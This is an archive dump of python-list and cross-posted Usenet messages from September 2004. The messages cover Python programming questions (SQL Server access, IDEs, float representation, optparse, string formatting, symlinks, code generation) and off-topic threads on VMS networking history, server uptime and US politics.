----- Original Message ----- 
From: "Tim Golden" <tim.golden at viacom-outdoor.co.uk>
To: "'Joe Wong'" <joewong at mango.cc>; <python-list at python.org>
Sent: Thursday, September 23, 2004 4:23 PM
Subject: RE: Access to MS SQL from Linux?


> [Joe Wong]
>
> > Hi,
>
> > Is there any Python library for accessing MS SQL server
> > from a Linux machine? Either open source or commerical one will do for
me.
>
> (Assuming you have FreeTDS installed: http://www.freetds.org/):
>
> http://www.object-craft.com.au/projects/mssql/
>
> or
>
> http://www.object-craft.com.au/projects/sybase/
>
> will both do the trick.
>
> Or if you have ODBC:
>
> mxODBC: http://www.egenix.com/files/python/mxODBC.html
>
> TJG
>
> ________________________________________________________________________
> This e-mail has been scanned for all viruses by Star. The
> service is powered by MessageLabs. For more information on a proactive
> anti-virus service working around the clock, around the globe, visit:
> http://www.star.net.uk
> ________________________________________________________________________
>


---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.768 / Virus Database: 515 - Release Date: 2004/9/22



From gerrit at nl.linux.org  Mon Sep 20 03:20:27 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Mon, 20 Sep 2004 09:20:27 +0200
Subject: python is going to die! =(
In-Reply-To: <qj3sk0hp4qn7lsalnlr737d7colnka3ho3@4ax.com>
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<pan.2004.09.20.19.27.30.753994@jerf.org>
	<mailman.3522.1095633708.5135.python-list@python.org>
	<qj3sk0hp4qn7lsalnlr737d7colnka3ho3@4ax.com>
Message-ID: <20040920072027.GA2939@nl.linux.org>

Rene Pijlman wrote:
> Abe Mathews:
> >the fact that there isn't a good IDE available
> 
> I use WingIDE, and I don't know what I'm missing. It just works for the
> occasional debugging, and what else is there?

What does an IDE really do beyond editing + debugging? Because of
Python's dynamic nature, I've never needed a debugger, print statements
always worked perfectly. As for editing, well, I like Vim.

regards,
Gerrit.

-- 
Weather in Twenthe, Netherlands 20/09 08:55:
	13.0?C Few clouds mostly cloudy wind 5.8 m/s SSW (57 m above NAP)
-- 
Gerrit Holl - 2nd year student of Applied Physics, Twente University, NL.
Experiences with Asperger's Syndrome:
	EN http://topjaklont.student.utwente.nl/english/
	NL http://topjaklont.student.utwente.nl/


From rupole at hotmail.com  Tue Sep  7 00:05:21 2004
From: rupole at hotmail.com (Roger Upole)
Date: Tue, 7 Sep 2004 00:05:21 -0400
Subject: Win32/Console - subclass using Python ?
References: <282f826a.0409061626.16567378@posting.google.com>
Message-ID: <413d31e3$1_2@127.0.0.1>

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/base/console_functions.asp

There's a Console module for Windows at 
http://www.effbot.org/zone/console-index.htm
that might do what you need.
   hth
      Roger



"Richard Shea" <richardshea at fastmail.fm> wrote in message 
news:282f826a.0409061626.16567378 at posting.google.com...
> Hi - I wondered if anyone had done this before and could provide some
> suggestions ? I'm interested in supplying extra functionality to a
> Win32 Console (cmd.exe) - full description below for those interested.
> I would do this using Python.
>
> I'm having difficulty finding anything about Console based programming
> via MSDN - I just wondered if anyone had done anything like this or
> alternatively knew where the part of the Win32 API which deals with
> Console interaction is on MSDN ? I've found
> http://support.microsoft.com/default.aspx?scid=kb;en-us;104094 but
> that's about it so far.
>
> FULL DESCRIPTION
> ================
> I use the Oracle client SQLPLUS a lot via a Win 32 console. There are
> some aspect s of this experience which would bear improvement.
>
> I'm interested in producing a 'super' cmd.exe which would 'help'
> SQLPLUS do its thing. I'm thinking for instance of auto-completion of
> table names, smart help etc. That's a big topic but just for starters
> I would like to be able to create my own 'super cmd.exe'
>
> regards
>
> Richard Shea 




From firstname at lastname.pr1v.n0  Mon Sep  6 12:56:33 2004
From: firstname at lastname.pr1v.n0 (Morten Reistad)
Date: Mon, 6 Sep 2004 18:56:33 +0200
Subject: Xah Lee's Unixism
References: <slrncj1745.t5q.amajorel@atc5.vermine.org>
	<413af268$0$19706$61fed72c@news.rcn.com>
	<rv1hhc.mtv2.ln@via.reistad.priv.no>
	<413c5b9c$0$19705$61fed72c@news.rcn.com>
Message-ID: <1s4ihc.4i4.ln@via.reistad.priv.no>

In article <413c5b9c$0$19705$61fed72c at news.rcn.com>,
 <jmfbahciv at aol.com> wrote:
>In article <rv1hhc.mtv2.ln at via.reistad.priv.no>,
>   Morten Reistad <firstname at lastname.pr1v.n0> wrote:
>>In article <413af268$0$19706$61fed72c at news.rcn.com>,
>> <jmfbahciv at aol.com> wrote:
>>>In article <20040904.2231.57679snz at dsl.co.uk>,
>>>   bhk at dsl.co.uk (Brian {Hamilton Kelly}) wrote:
>>>>On Thursday, in article
>>>>     <41371e5c$0$19723$61fed72c at news.rcn.com> jmfbahciv at aol.com
>>>>     wrote:

>>VMS was too early, and was made too politically correct.
>>
>>TCP/IP was NOT politically correct until around 1996 or so. 
>>TPTB wanted OSI, GOSIP/Decnet Phase 5 and all that crud, until we
>>Internet people hammered them. 
>>
>>>>Indeed, it took many years before DEC [sorry, by then it was already
>>>>d|i|g|i|t|a|l] had a TCP/IP stack available for VMS --- the dreaded heap
>>>>of quivering jelly created by the Eunice idiots.
>>>>
>>>>Before that, people who needed TCP/IP on a Vax used various third-party
>>>>solutions, such as the implementations from Carnegie-Mellon (CMU) 
>>>
>>>Sigh!  If CMU had it, I would have assumed it got hornshoed into
>>>VMS.
>>
>>Wrong mindset. TCP/IP was never a DEC invention, much less a D I G I T A L 
>>one. 
>
>It didn't have to be a DEC invention.  If it was CMU, we got it
>shoved down our throats and up our asses.  However, I see
>that the dates explain why TCP/IP didn't get into VMS.  
>Apparently the protocol got good after Gordon Bell left DEC.

1995 was the year everyone and Bill Gates discovered the Internet
existed; and wanted in on the deal. Suddenly everyone needed Internet
solutions. 

>Since TCP/IP was in the 90s, I couldn't have heard about it
>over the wall (I think I stopped working in 1987).  I could
>swear that cybercurd meant something.
>
>ISTR, the -20 types yakking about it.

TCP/IP was launched in 1982, and the Internet (or the Arpanet, rather)
converted Jan 1st 1983; with final NCP service turned off everywhere
by mid march 1983. 

Tops20 has an IP package; but it was pretty rudimentary in version 4, 
and not quite complete even by those standards even in version 7.

.. mrr




From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com  Sun Sep 26 04:38:04 2004
From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman)
Date: Sun, 26 Sep 2004 09:38:04 +0100
Subject: floating point glitch
In-Reply-To: <l5ncl0horoifsmbadp6pu3sgje8ca2srf3@4ax.com>
References: <415295E6.9040602@ericsson.com>
	<l5ncl0horoifsmbadp6pu3sgje8ca2srf3@4ax.com>
Message-ID: <cj5v5i$7vk$1@pegasus.csx.cam.ac.uk>

Tim Roberts wrote:

>>>>>a=[66.6, 333, 333, 1, 1234.5]
>>>>>print a.count(333), a.count(66.6), a.count('x')
>>
>>2 1 0
>>
>>>>>a.append(333)
>>>>>print a
>>
>>[66.599999999999994, 333, 333, 1, 1234.5, 333]
> 
> This is a FAQ.  The short answer is that 66.6 cannot be represented exactly
> in binary.  It is an infinitely repeating fraction.  (1234.5 is not, which
> is why the same thing didn't happen to it.)
> 
> When you use print, it calls repr() to get the string representation.

Actually, print essentialy uses str() to get the string representation. 
But repr(list) or str(list) still gets the repr() of each item of the 
list rather than the str():

 >>> class TestObject(object):
...     def __str__(self):
...         return "<str() called>"
...     def __repr__(self):
...         return "<repr() called>"
...
 >>> t = TestObject()
 >>> str(t)
'<str() called>'
 >>> repr(t)
'<repr() called>'
 >>> print t
<str() called>
 >>> t
<repr() called>
 >>> l = [TestObject()]
 >>> str(l)
'[<repr() called>]'
 >>> repr(l)
'[<repr() called>]'
 >>> print l
[<repr() called>]
 >>> l
[<repr() called>]

One way around this is to call str for each item yourself:

 >>> "[%s]" % ", ".join(map(str, l))
'[<str() called>]'

You could also define a list subclass that does this for you.
-- 
Michael Hoffman


From mattjensen at timetospare.net  Sun Sep  5 00:15:11 2004
From: mattjensen at timetospare.net (Matthew K Jensen)
Date: 4 Sep 2004 21:15:11 -0700
Subject: Help req: py2exe's compiled executables only working with XP
References: <173c23bb.0408282105.4cd76e07@posting.google.com>
	<153fa67.0408290602.10b80c47@posting.google.com>
	<173c23bb.0409011956.56aa222d@posting.google.com>
	<Xns9559657CD744JanC@213.118.38.197>
	<173c23bb.0409022140.5cda71a8@posting.google.com>
Message-ID: <173c23bb.0409042015.3f45ca64@posting.google.com>

mattjensen at timetospare.net (Matthew K Jensen) wrote in message news:<173c23bb.0409022140.5cda71a8 at posting.google.com>...
> JanC <usenet_spam at janc.invalid> wrote in message news:<Xns9559657CD744JanC at 213.118.38.197>...
> > Matthew K Jensen schreef:
> > 
> > >  I guess I should describe the problem more. When I go to execute,
> > > nothing visibly happens.
> > 
> > Did you try running them from a console (cmd.exe or command.com)?
> 
> Yes, same problem.
Is there any reason for these executables to be acting this way?


From danperl at rogers.com  Tue Sep 28 09:02:07 2004
From: danperl at rogers.com (Dan Perl)
Date: Tue, 28 Sep 2004 09:02:07 -0400
Subject: "False exceptions?" (was Re: theme of the week: tools
References: <mailman.3802.1095960335.5135.python-list@python.org><QcudnRef363plc7cRVn-vg@powergate.ca><41542230.3070808@bellsouth.net><mailman.3864.1096040439.5135.python-list@python.org><mfydnUd5Idex1srcRVn-pQ@rogers.com><tpudnXILROwO88rcRVn-sw@powergate.ca><mailman.3947.1096250696.5135.python-list@python.org><kdWdndU_KZvAFcrcRVn-gQ@rogers.com>
	<4157FD67.80404@holdenweb.com><efidneft_NO8p8XcRVn-tQ@rogers.com>
	<mailman.3996.1096354841.5135.python-list@python.org>
Message-ID: <Ku-dnW4Ddq1O_cTcRVn-tw@rogers.com>


"Marco Aschwanden" <PPNTWIMBXFFC at spammotel.com> wrote in message 
news:mailman.3996.1096354841.5135.python-list at python.org...
> On Mon, 27 Sep 2004 12:04:47 -0400, Dan Perl <danperl at rogers.com> wrote:
>
> I myself felt disturbed by your comments on WingIDE. But yes, I do 
> understand your nagging on "false exceptions" which can be turned off. You 
> turned it down because of this and because the short trial period (which 
> can be prolonged with 1 button click)... well, it didn't seem fair towards 
> the tool. It has its shortcomings but the ones you mention are ridiculous.

The 10 day trial period just gave me a bad first impression and the 
explanations for the false positives just left me with a bad taste.  I gave 
up on Wing because of the false positives (their simple existence, even 
without the explanations) and the lack of a class browser.  I encountered 
the false positives first and I almost gave up right there.  But it was just 
the first day and I thought I should look more.  Like you say, I wanted to 
be fair.  When I found that the class browser is not supported in the 
Personal edition I threw my arms in the air.

To be fair again to Wing, I gave up on it based on the false positives 
before finding out that I could have switched to another debug mode.  But 
that's their fault too because the widget that came up with the false 
positive just says you can ignore the exception and then there was something 
else just praising the tool, but there was no mention of the different debug 
modes.  I found that option only once I searched the manual.  Maybe it's 
just me, but I'm not reading the manuals when I'm trying out several tools.

My "nagging" on the false positives is mostly on the spin that Wingware puts 
in their explanations.  It's one thing to explain it the way that Stephan 
did, that it was better to offer something imperfect if that was also 
providing some important advantages and then also offer the other 
alternative ("We weighed having a necessarily imperfect but useful feature 
with not having the feature at all.").  And it's another thing to insist 
that this is not a problem and it is actually good for you.  This doesn't 
seem to bother other people as much as it bothered me, but I do have a beef 
with it.

I'm curious to know what disturbed you in my comments.

> It beats Komodo 3.01 in some aspect:
> - it shines when it comes to auto-completion. No need to feed some 
> "intelligent database" for each and every file you introduce like in 
> Komodo (first crash while building the database).
> - in my case it works seamlessly with wxPython. Komodo crashed constantly. 
> Auto-completion with wxPython did never work (tried on 2 machines)
> - WingIDE is much more robust although beta than Komodo, which crashed 
> about 5 times during 3h of work (Win2K; about 20 times because of wxPython 
> are not taken into account). WingIDE does not crash since around patch 3 
> (we are now at patch 8).
>
>
> So I would say:
>
> Use Komodo if you:
> - are programming as well in other languages that Komodo supports (PHP, 
> Perl, Python, HTML, ...)
> - need built-in cvs access
> - can live with an IDE that crashes from time to time
>
> Use Wingware if you:
> - need a good "intelligent" auto-completion even for wxPython, pyQt, ...
> - need an extensible IDE (you may in future add your own tools easily)
> - need an IDE that focusses on Python and that tries to do the best on 
> this single language
> - can live with an IDE that does not look as polished as Komodo
>
> This comparison is not perfect. But you may realize that I turned it down 
> for it constantly crashing on me (which might be a problem of me and my 2 
> machines) and the useless auto-completion (constantly feeding the 
> database; does not work with wxPython). Those 2 points were in my case the 
> show stopper. Sad, because the idea behind Komodo is just great, the looks 
> is fantastic... I will give it another chance with 4.0...

I used Komodo for about a month and it never crashed.  As a matter of fact, 
when the license expired, I let it run for several days and then I just had 
to reboot my machine for other reasons (I am using Win XP, BTW).  And I have 
used it with wxPython already, although probably not as extensively as you 
have.

I actually prefer the auto-completion in Komodo.  Yes, it doesn't always 
work because sometimes it has to learn first, but on the other hand I felt 
that Wing tries to do too much.  I don't need auto-completion for every 
little name that I'm using and Wing's auto-completion was rather annoying me 
even after I adjusted the pause period.  I didn't find any option to disable 
auto-completion selectively for things like locals.  I also didn't see a 
function usage showing up in Wing the way I am getting it in Komodo (and I 
want that), but maybe that was a preference that I had to turn on and I 
didn't know about it.  I later saw something similar in a screen shot but 
maybe that's also not in Wing's Personal edition.

So your 2 show stoppers do not apply for me.  As for your other arguments, I 
am using Komodo only for Python and not for any other languages and I am 
using winCvs for CVS access.  Still, during one month of use (more than a 
month now), Komodo satisfied all my needs.

> Happy wing user,
> Marco
>
>
>
>
> 




From aleaxit at yahoo.com  Sun Sep 26 16:13:10 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sun, 26 Sep 2004 22:13:10 +0200
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<pan.2004.09.19.13.27.17.613143@jerf.org>
	<Ooa3d.318$Pz3.245@trndny01>
	<mailman.3490.1095579571.5135.python-list@python.org>
	<70b3d.1822$uz1.747@trndny03>
	<mailman.3494.1095586574.5135.python-list@python.org>
	<7xfz5ein0h.fsf@ruckus.brouhaha.com>
	<1gkdk3g.3ivp7amnqsw1N%aleaxit@yahoo.com>
	<Kry5d.3492$85.351848@news3.tin.it>
	<q74el01gndjj4u6d77uokbpvpn4lib1qek@4ax.com>
Message-ID: <1gkqqmt.ng7g3h14zievbN%aleaxit@yahoo.com>

Richard Hanson <me at privacy.net> wrote:
   ...
> (Alex mentioned you have a Fujitsu LifeBook -- I do, too, and like it
> very much!)

There are many 'series' of such "Lifebooks" nowadays -- it's become as
un-descriptive as Sony's "Vaio" brand or IBM's "Thinkpad".  Anna's is a
P-Series -- 10.5" wide-form screen, incredibly tiny, light, VERY
long-lasting batteries.  It was the _only_ non-Apple computer around at
the local MacDay (I'm a Mac fan, and she attended too, to keep an eye on
me I suspect...;-), yet it got nothing but admiring "ooh!"s from the
crowd of design-obsessed Machies (Apple doesn't make any laptop smaller
than 12", sigh...).

OBCLPY: Python runs just as wonderfully on her tiny P-Series as on my
iBook, even though only Apple uses it within the OS itself;-)


Alex


From nem at nowhere.invalid  Mon Sep  6 05:12:29 2004
From: nem at nowhere.invalid (Nemesis)
Date: 6 Sep 2004 09:12:29 GMT
Subject: open default MUA with a hyper link
References: <chalvm$1944$1@biggoron.nerim.net>
	<mailman.2850.1094246310.5135.python-list@python.org>
Message-ID: <chh9lt$imf$1@e3k.asi.ansaldo.it>

"Jp Calderone" wrote:

[opening the default MUA]
>    webbrowser.open("mailto:exarkun at divmod.com") gives me a mozilla 
> browser and a mozilla compose window.  I don't know of an existing way 
> to do better than that.

How can I use this syntax in order to specify also the body of the
mail?

-- 
XPN :: http://xpn.altervista.org



From hat at se-126.se.wtb.tue.nl  Wed Sep  8 11:30:57 2004
From: hat at se-126.se.wtb.tue.nl (Albert Hofkamp)
Date: Wed, 8 Sep 2004 15:30:57 +0000 (UTC)
Subject: Using Python to generate code?
References: <ed89f8f2.0409072251.2152c22b@posting.google.com>
Message-ID: <slrncju9df.8jt.hat@se-126.se.wtb.tue.nl>

On 7 Sep 2004 23:51:38 -0700, Tran Tuan Anh <anhtt at hotmail.com> wrote:
> Right now, the generator program is written in C++. And I feel not so
> comfortable with C++. I feel C++ is an overkill. Because, I need to
> generate some code, hence in the program there are a lot of something
> like this:
> 
> printf(out, "for (%s = 1, %s < %s, %s < %s )", varName, varName,
> varName1, varname, varName2);
> 
> It is just too messy if I have more than 20 lines like this.

Agreed, reached that same conclusion.
Therefore, I switched to something like

output="""for ($VAR = 1, $VAR < $START, $VAR < $END)"""

output=string.replace(output,"$VAR",varName)
output=string.replace(output,"$START",varName1)
output=string.replace(output,"$END",varName2)

Obviously, this can be enhanced.
(use other conventions than $identifier, and performing the substitution
in a loop).
BTW: I am not sure string.replace works OK as shown here.

In a sense, I am using the string replacement to substitute variables
names thus making my own text templating system.

> 1. Can Python help to solve this issue?

yep.

> 2. Does Python has a parser? It seems to me that there is no-standard

yes, several.
I have good experiences with spark. you have to be careful what you
enter, and it is not fast, but it can handle just about any
grammar you can think of.

> P/S: Also because it is NO big code generator, it only needs to
> generate some simple codes. Hence, using some abstract-syntax-tree
> library is also too an overkill.

Anything small, simple, and beautiful grows ...... 


:-)

Albert
-- 
Unlike popular belief, the .doc format is not an open publically available format.


From ndbecker2 at verizon.net  Thu Sep 16 07:16:24 2004
From: ndbecker2 at verizon.net (Neal D. Becker)
Date: Thu, 16 Sep 2004 07:16:24 -0400
Subject: suggestion for optparse
Message-ID: <cibsm8$qu8$1@sea.gmane.org>

optparse is great.  I have one small suggestion for an improvement. 
optparse supports boolean switches, with action=store_false/store_true.  It
would be handy if one specification would automatically add both positive
and negative forms.

For example:

parser.add_option ("", "--limit", action="store_toggle", dest="doLimit",
default=True)

might add both

--limit

and

--no-limit




From mauriceling at acm.org  Mon Sep  6 00:22:27 2004
From: mauriceling at acm.org (Maurice LING)
Date: Mon, 06 Sep 2004 04:22:27 GMT
Subject: compiling to python byte codes
In-Reply-To: <pan.2004.09.05.22.10.48.877509@jerf.org>
References: <4136b2b5$1@news.unimelb.edu.au>
	<4136bbf3$0$197$9b622d9e@news.freenet.de>
	<6f402501.0409020321.44fd443@posting.google.com>
	<41375f6a$0$13076$9b622d9e@news.freenet.de>
	<4137a850$1@news.unimelb.edu.au>
	<pan.2004.09.02.20.00.45.714844@jerf.org>
	<4137bf73$1@news.unimelb.edu.au>
	<pan.2004.09.02.22.49.36.55719@jerf.org>
	<4137e739$1@news.unimelb.edu.au>
	<ch8r2b$mva$1@news.service.uci.edu>
	<4137f79f$1@news.unimelb.edu.au>
	<4138207f$0$182$9b622d9e@news.freenet.de>
	<pan.2004.09.04.14.43.20.140684@jerf.org>
	<413b9f57$1@news.unimelb.edu.au>
	<pan.2004.09.05.22.10.48.877509@jerf.org>
Message-ID: <413be5fc$1@news.unimelb.edu.au>

> I'm not sure if you feel I'm treating you as an idiot, or if you mean that
> literally. Regardless, it isn't my intent. It is challenging because we
> end up unable to share vocabulary.
> 

Figurative speech intended here. I wish to maintain the thought that 
python users are helpful. :)

> 
> It implements a simple calculator interpreter. It is an "interpreter"
> because as it encounters the input, it is dynamically executing it. A
> "compiler" would actually just store it as a tree, then later output it
> into some other format without execution, which is what a C++ compiler
> does, outputting the opcodes for the CPU.

I'm looking at generating either python source or MA (intermediate 
representation in assembly-like form) on the fly (as the lines are being 
interpreted). The design of MA (2-operands code) works pretty much like 
functions themselves, as in, each "opcode" can be represented by a 
function in python (or any other language, I presume) and the "operands" 
are like parameters. When MA was thought of, it was meant to target to 
Java, but I suppose it is possible to target to python.

So I think the "MA virtual machine" is like a python library.

> 
> Because of that extra step in the middle, "building a tree", a compiler is
> typically harder to write than an interpreter. Getting the output right
> can also be tricky, and a challenge to debug.

I can see this coming. It may be tricky to isolate the error to 
tree-building or the test codes.


From bm at acm.org  Tue Sep 14 09:37:25 2004
From: bm at acm.org (Bulent Murtezaoglu)
Date: Tue, 14 Sep 2004 16:37:25 +0300
Subject: Xah Lee's Unixism
References: <413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<opsd2vlvy7pqzri1@mjolner.upc.no>
	<1549.748T655T9283520@kltpzyxm.invalid>
	<3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com>
	<4141c830$0$65574$a1866201@newsreader.visi.com>
	<chsu8b$ujb$1@grandcanyon.binc.net>
	<Eeo0d.18563$Qx2.9439@newssvr29.news.prodigy.com>
	<ci4gs0$23p$1@grandcanyon.binc.net> <m3pt4qc57f.fsf@europa.pienet>
	<4146dc2f$0$2665$61fed72c@news.rcn.com> <m3sm9lvwnv.fsf@europa.pienet>
Message-ID: <87brg96kfe.fsf@p4.internal>


Soo, another lisper cannot resist the temptation.  

>>>>> "GM" == Greg Menke <gregm-news at toadmail.com> writes:
[...]
    GM> They're pretty convinced of that already- after all Dubya
    GM> called this a crusade from day 1.  [...]

In all fairness I think that was plain dumbness in use of langauge.
He didn't mean a crusade in the historic sense.  Even if he thinks it,
that was nothing more than an unfortunate choice of words.  I am 99%
sure of this as I vividly remeber my jaw dropping when I saw him say
it in the window to the left of the one I was reading this very
newsgroup in.  The men in that family are not good public speakers 
and they seem to have trouble expressing themselves to reporters.  
I see no malice in that.

[...]
    GM> I'm not vastly fond of Dubya Sr., but I think he did the right
    GM> things in Iraq; he was a better president than his son in all
    GM> respects.

He was, but the Iraq thing wasn't done right back then either.  Of
course it is easy to say this with hindsight, but saving a shiekdom
and a kingdom while ending up in a position where you cross your
fingers that Saddam supresses uprisings w/o too much visible carnage
is not a good outcome.  Maintaining a state of embargo against, as it
turned out, the people of Iraq indefinitely was not a good option
either.

It is one of those cases where it's pretty clear that any obvious
option is not good, but it is not clear what the right thing to do is.
Had it been possible to leave the region alone after (or indeed
during) WW-I, some reasonably stable state of affairs might have
emerged.  Actually, this is not unlike the Balkans.  There, oil was
not in the equation but once Tito was gone, things that should have
happened between the Balkan wars and maybe 1950's ended up happening
in the 90s with much bloodshed and no clean ending (think Kosovo).

Presumably the people who get elected to positions of power are called
leaders because they are supposed to have better ideas and visions on
these things than us geeks do.  That has clearly not been the case so
far.

9/11 seems to have gotten rid of any chance of sane action by the US in 
the region, anyway.  So basically the problem is no longer how the 
civilized and reasonably free world will exert its influence in the 
middle east, but how the world can try to influence the lone superpower 
so it doesn't do too much damage to itself and the rest of the world.
Now that, I suspect, could have been prevented had the influential 
people in the states (be it the press, the congress, whatever) showed 
some backbone.

cheers,

BM


From fredrik at pythonware.com  Sun Sep 19 16:18:59 2004
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 19 Sep 2004 22:18:59 +0200
Subject: Formatting numbers with leading zeros
References: <71f6c60f.0409191159.5f9040bb@posting.google.com>
Message-ID: <cikpfr$edt$1@sea.gmane.org>

"Stian" wrote:

> Hi, I'm sort of new to Python and I've just discovered the amazing
> formatting using the % operator. One thing I can't figure out is how
> to format numbers so that they get leading zeros, for example I want
> the output 1x01 instead of 1x1 (used in naming my avi files of shows).
> I've used this so far:
>
> print '%sx%s'%(season,episode)
>
> which gives the output 1x1, but I want 1x01 =p Any way to format it
> using the % method?

assuming that season and episode are integers:

    print "%dx%02d" % (season, episode)

(if not, use int() to convert from strings to integers)

more info here:

    http://docs.python.org/lib/typesseq-strings.html

</F> 





From m.a.r.k at gmx.de  Sun Sep 19 12:53:41 2004
From: m.a.r.k at gmx.de (Markus)
Date: Sun, 19 Sep 2004 18:53:41 +0200
Subject: Need to create a soft link to a file
Message-ID: <cikdik$rm0$07$1@news.t-online.com>


Hello,

I'm running on Mac OS X and need to create a soft link to a file.

I tried both makealias() and link(). While makealias creates a Finder 
alias just fine my application that needs to read the reference file 
doesn't like this. link() produces 1) a hard link and b) gives me the 
following error:  OSError: [Errno 45] Operation not supported

I guess what I'm looking for is a way to call the Unix ln command from 
within my python program.

How would I do this?

Thanks,
Mark


From steveo at eircom.net  Thu Sep  9 17:26:53 2004
From: steveo at eircom.net (Steve O'Hara-Smith)
Date: Thu, 9 Sep 2004 22:26:53 +0100
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<20040904.0140.57670snz@dsl.co.uk>
	<769.746T1245T5844062@kltpzyxm.invalid>
	<opsdy5xuappqzri1@mjolner.upc.no>
	<p9qdnTnxTYDJR6PcRVn-pw@speakeasy.net>
	<413f049f$0$6914$61fed72c@news.rcn.com>
	<20040908192913.67c07e7d.steveo@eircom.net>
	<41406a6d$0$6912$61fed72c@news.rcn.com>
	<fi00d.336018$OB3.40405@bgtnsc05-news.ops.worldnet.att.net>
Message-ID: <20040909222653.7d9b5436.steveo@eircom.net>

On Thu, 09 Sep 2004 17:21:15 GMT
Nick Landsberg <SPAMhukolauTRAP at SPAMworldnetTRAP.att.net> wrote:

> jmfbahciv at aol.com wrote:
> 
> > In article <20040908192913.67c07e7d.steveo at eircom.net>,
> >    Steve O'Hara-Smith <steveo at eircom.net> wrote:
> > 
> >>	The Yahoo! server farm ran to very long uptimes last time I had
> >>any details. The reason being that they commission a machine, add it to
> >>the farm and leave it running until it is replaced two or three years
> >>later.
> > 
> > Sure.  But regular users of such computing services never get an
> > uptime report.  Hell, they have no idea how many systems their
> > own webbit has used, let alone all the code that was executed
> > to paint that pretty picture on their TTY screen.
> > 
> > I bet, if we start asking, we might even get some bizarre
> > definitions of uptime.
> 
> Well, there are lies, damn lies and statistics, don't
> you know? :)
> 
> I have absolutely no idea of the size of Yahoo's "server
> farm," but let's assume that it's roughly 100 servers
> to make the arithmetic easier.  Let's further assume
> that the MTBF (Mean Time Between Failure) is roughly
> 2000 hours (about 3 months, or about 90 days).
> 
> Given these numbers (which are not real, I remind you,
> just made up), it is likely that on any given day
> one of those servers suffers some kind of failure.
> However, one can argue, quite legitimately, that
> the service which Yahoo! provides is still "up and
> running."  1% of the users may not be able to access
> their mail for a few hours, for example, but the Yahoo! is
> still running.

	Erm in this case the farm is a search engine service, if one of
the machines goes down then the searching gets a bit slower for everyone.
At any rate the report from inside Yahoo! was that they considered it
normal for a machine to run uninterrupted for a couple of years and
then get replaced.

> > I do know that the defintion of CPU runtime is disappearing.
> > 
> 
> Not everywhere, Steve.  There are still shops

	That's /BAH you're responding to there :)

-- 
C:>WIN                                      |   Directable Mirror Arrays
The computer obeys and wins.                | A better way to focus the sun
You lose and Bill collects.                 |    licences available see
                                            |    http://www.sohara.org/


From max at alcyone.com  Thu Sep  2 18:53:38 2004
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 02 Sep 2004 15:53:38 -0700
Subject: Check existence of members/methods
References: <qaNZc.23386$CG3.1553602@news20.bellglobal.com>
Message-ID: <4137A472.CDB62E4D@alcyone.com>

Nicolas Fleury wrote:

> But it puts code in strings, which I feel less natural.  What do you
> think about it?  Have I miss a better solution or is there something
> for
> that in the language?

Try hasattr.

-- 
 __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
/  \ San Jose, CA, USA && 37 20 N 121 53 W && AIM erikmaxfrancis
\__/ There is nothing so subject to the inconstancy of fortune as war.
    -- Miguel de Cervantes


From jmfbahciv at aol.com  Sat Sep 11 10:24:09 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Sat, 11 Sep 04 14:24:09 GMT
Subject: Xah Lee's Unixism
References: <ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com>
	<uzn47qezk.fsf@mail.comcast.net>
	<rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com>
	<4139561C.F52D4E4@yahoo.com>
	<10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com>
	<413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<opsd2vlvy7pqzri1@mjolner.upc.no>
Message-ID: <41431db5$0$6923$61fed72c@news.rcn.com>

In article <opsd2vlvy7pqzri1 at mjolner.upc.no>,
   "John Thingstad" <john.thingstad at chello.no> wrote:

There has been a request to [spit] these newsgroups.  Where
do you read from?  I'm over in a.f.c.

>On Thu, 09 Sep 04 13:12:17 GMT, <jmfbahciv at aol.com> wrote:
>
>
>> I really want to know.  People keep saying this but never say which
>> freedoms have been lost.
>>
>
>Since this is somewhat related to computer programming 
>and AI I will reply.

Thank you.  I appreciate the effort.

>
>The US has started a initiative to integrate all 
>information about people in the USA into a central database.

This is why I'm puzzled.  This stuff is nothing new; about
the only difference is the detail.  
>
>This includes confidential information like 
>your medical files. Think what  
>you say to your psychologist is confidential? 

It never was confidential.  People talk; doctors confer.  It
was off limits w.r.t. law enforcement but I think that had
more to do with not having to testify against yourself.
This still is not a freedom; it's a right that is listed.


> ..Think again. Being paranoid  
>can be enough to get a "red flag".
>They will have access to all your credit records 
>and will monitor all your  
>travels in and out of the country.
>If you buy flowers on the apposite side of town they can deduce that you  
>have a lover and
>use this as a means of distortion. (Edgar A. Hoover style)
>
>Initially this was just supposed to be used to monitor terrorist like  
>behaviour
>but now the FBI and CIA are also seeing the power of such a system.

Sure.  They had that kind of power and were abusing it in the 70s.
Both departments got the wings clipped.  Because they did get
reorg'ed back then, a lot of the work, that they are accused of not
doing after 9/11, didn't get done because they weren't allowed to
do that work.  Now Congress is shifting towards giving them
more leeway.  I sure as hell hope they remember Hoover and his
abuses of power before they suggest putting one guy over it all.
>
>The main challenge in computing is sieving through the amount of data.
>Politically it is to pressure the foreign governments to wave their  
>privacy protection acts and allow unlimited access to information to a  
>foreign power.

This won't happen.  Foreign governments will do whatever is in their
best interests as the US should do things in its best interests.

>
>Don't know what you think of this but it scares the hell out of me!

It should.  But this isn't a breach of freedom.  It is a breach
